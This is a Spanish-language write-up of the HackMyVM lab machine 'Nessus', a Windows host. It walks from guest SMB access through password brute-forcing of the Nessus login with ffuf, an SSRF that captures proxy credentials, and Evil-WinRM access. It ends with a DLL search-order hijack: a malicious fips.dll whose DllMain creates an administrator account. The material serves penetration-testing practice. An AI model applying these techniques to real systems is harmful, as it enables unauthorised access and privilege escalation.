cd ~/blog

~/writeups/hmv/135-nessus.md

135 - Nessus

easy Windows hmvautor: Jordy Pérez Osorio aviso legal
SMB Guest AccessPassword Guessing en NessusSSRF mediante Proxy Server TestDLL Search Order Hijacking en el servicio Nessus
hackmyvm.eu/machines/machine.php?vm=Nessus

~2 min de lectura


Enumeración y exposición de documentos por SMB

Enumeramos puertos (Windows con Nessus en 8834):

❯ nmap -sCV -p 135,139,445,5985,8834,47001,... -oN 02-targeted.txt 10.32.32.49
...
445/tcp   open  microsoft-ds?
5985/tcp  open  http               Microsoft HTTPAPI httpd 2.0
8834/tcp  open  ssl/nessus-xmlrpc?
| ssl-cert: Subject: commonName=WIN-C05BOCC7F0H/organizationName=Nessus Users United/...
...

La enumeración de SMB permite acceder como guest y expone el recurso Documents sin una credencial privada:

❯ smbclient -L //10.32.32.49/ -U guest
	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	Documents       Disk
	IPC$            IPC       Remote IPC

Los documentos descargados son informes de Nessus. Los metadatos de uno identifican a Jose como autor, lo que aporta un nombre de usuario candidato para el servicio del puerto 8834:

❯ smbclient //10.32.32.49/Documents -U guest
smb: \> get "My Basic Network Scan_hwhm7q.pdf"
smb: \> get "Web Application Tests_f6jg9t.pdf"

❯ exiftool Web\ Application\ Tests_f6jg9t.pdf
...
Author  : Jose
...

Acceso a Nessus y exposición de credenciales

Interceptamos un inicio de sesión con Burp para identificar el endpoint POST /session y la estructura JSON que espera. Utilizamos jose como usuario y aplicamos Password Guessing variando únicamente la contraseña con ffuf; la respuesta distinta para tequiero permite autenticar en Nessus:

❯ ffuf -u 'https://10.32.32.49:8834/session' -w ~/Documentos/wordlists/rockyou.txt -d '{"username":"jose","password":"FUZZ"}' -H 'Content-Type: application/json' -fs 31
...
tequiero                [Status: 200, ...]
...

Dentro de Nessus existe un usuario nesus cuya contraseña no se muestra. La función Test Proxy Server hace que el servidor establezca una conexión hacia el proxy indicado por el usuario. Al configurar nuestra IP como destino, aprovechamos ese comportamiento como SSRF y capturamos la cabecera Proxy-Authorization. Su valor Basic es Base64, por lo que al decodificarlo obtenemos el par usuario:contraseña empleado por Nessus para autenticarse ante el proxy:

❯ ncat -nlvp 4321
Ncat: Connection from 10.32.32.49:49839.
CONNECT plugins.nessus.org:443 HTTP/1.1
Proxy-Authorization: Basic bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==
...

❯ echo 'bmVzdXM6WiNKdVhIJHBoLTt2QCxYJm1WKQ==' | base64 -d
nesus:Z#JuXH$ph-;v@,X&mV)

Con esas credenciales entramos por Evil-WinRM y obtenemos la primera flag. En el entorno documentado, un error de autenticación puede requerir restablecer una contraseña expirada desde la consola de la máquina:

❯ evil-winrm -u nesus -i 10.32.32.49 -p 'Z#JuXH$ph-;v@,X&mV)'
*Evil-WinRM* PS C:\Users\nesus\Documents>

Escalada mediante DLL Search Order Hijacking

El directorio del servicio permite reemplazar fips.dll. Como Nessus se ejecuta como SYSTEM y carga esa biblioteca durante el arranque, podemos aplicar DLL Search Order Hijacking: colocamos una DLL controlada bajo el nombre que el proceso espera y dejamos que el servicio privilegiado la cargue. Su DllMain crea un usuario y lo añade a los grupos administrativos:

❯ cat pwned.c
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
  switch (ul_reason_for_call) {
  case DLL_PROCESS_ATTACH:
    system("net user pwned pwned /add");
    system("net localgroup administrators pwned /add");
    system("net localgroup 'remote management' pwned /add");
    break;
  ...
  }
  return TRUE;
}

Compilamos la biblioteca con el nombre esperado, conservamos la original como respaldo y subimos el reemplazo. El código no se ejecuta por el simple hecho de copiarlo; requiere que el servicio vuelva a cargar fips.dll, lo que ocurre después del reinicio registrado:

❯ x86_64-w64-mingw32-gcc pwned.c --shared -o fips.dll

*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> mv fips.dll fips.dll.bak
*Evil-WinRM* PS C:\Program Files\Tenable\Nessus> upload fips.dll

Tras el reinicio, el usuario pwned es administrador local:

❯ evil-winrm -u pwned -i 10.32.32.49 -p 'pwned'
*Evil-WinRM* PS C:\Users\pwned\Documents> whoami /all
...
BUILTIN\Administrators ...

La pertenencia a BUILTIN\Administrators confirma el resultado de la carga privilegiada.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados